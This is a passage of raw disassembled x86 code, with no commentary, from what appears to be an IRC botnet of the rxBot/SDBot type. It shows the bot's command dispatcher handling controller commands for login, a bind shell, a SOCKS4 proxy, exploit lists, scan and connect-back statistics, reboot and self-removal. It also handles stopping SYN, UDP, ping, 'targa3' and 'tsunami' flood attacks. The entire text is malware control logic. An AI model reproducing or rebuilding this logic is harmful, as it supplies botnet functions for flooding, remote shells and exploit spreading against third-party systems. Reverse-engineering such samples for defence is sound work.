		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFC8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB4F8
		mov	eax, off_429158[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFAC
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CFA4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF8C
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42CF50
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CF0C


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset word_415C5A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42CEAC
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE7C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE48
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi
		push	offset asc_42CE44 ; "l"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	[ebp+var_8C]
		push	offset dword_42D01C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294C4, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D800


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294C4
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset asc_42D11C ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D818[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D800[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEF
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEF
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CE04 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40284A
		cmp	[ebp+var_A0], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D118 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D118 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD58


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD30
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD14
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CCF8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCE4
		push	offset dword_42CCD8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CCB8
		push	offset dword_42CCA8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi
		push	offset dword_42CC9C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC90
		push	offset dword_42CC84
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC70
		push	offset dword_42CC64
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC48
		push	offset dword_42CC38
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CC1C
		push	offset dword_42CC0C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CBF4
		push	offset dword_42CBE8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC90
		push	offset dword_42CC84
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	0Eh
		push	offset dword_42CC70
		push	offset dword_42CC64
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBD0
		push	offset dword_42CBC4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	16h
		push	offset dword_42CBB8
		push	offset dword_42CBAC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CC1C
		push	offset dword_42CC0C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	12h
		push	offset dword_42CBF4
		push	offset dword_42CBE8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CB9C
		push	offset dword_42CB8C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	13h
		push	offset dword_42CB7C
		push	offset dword_42CB6C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC48
		push	offset dword_42CC38
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB38
		push	[ebp+var_88]
		push	edi
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CB9C
		push	offset dword_42CB8C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB7C
		push	offset dword_42CB6C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBD0
		push	offset dword_42CBC4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CBB8
		push	offset dword_42CBAC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAF0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAA0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA7C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA5C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset unk_42C998
		jnz	short loc_403192
		mov	eax, offset unk_42C970


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
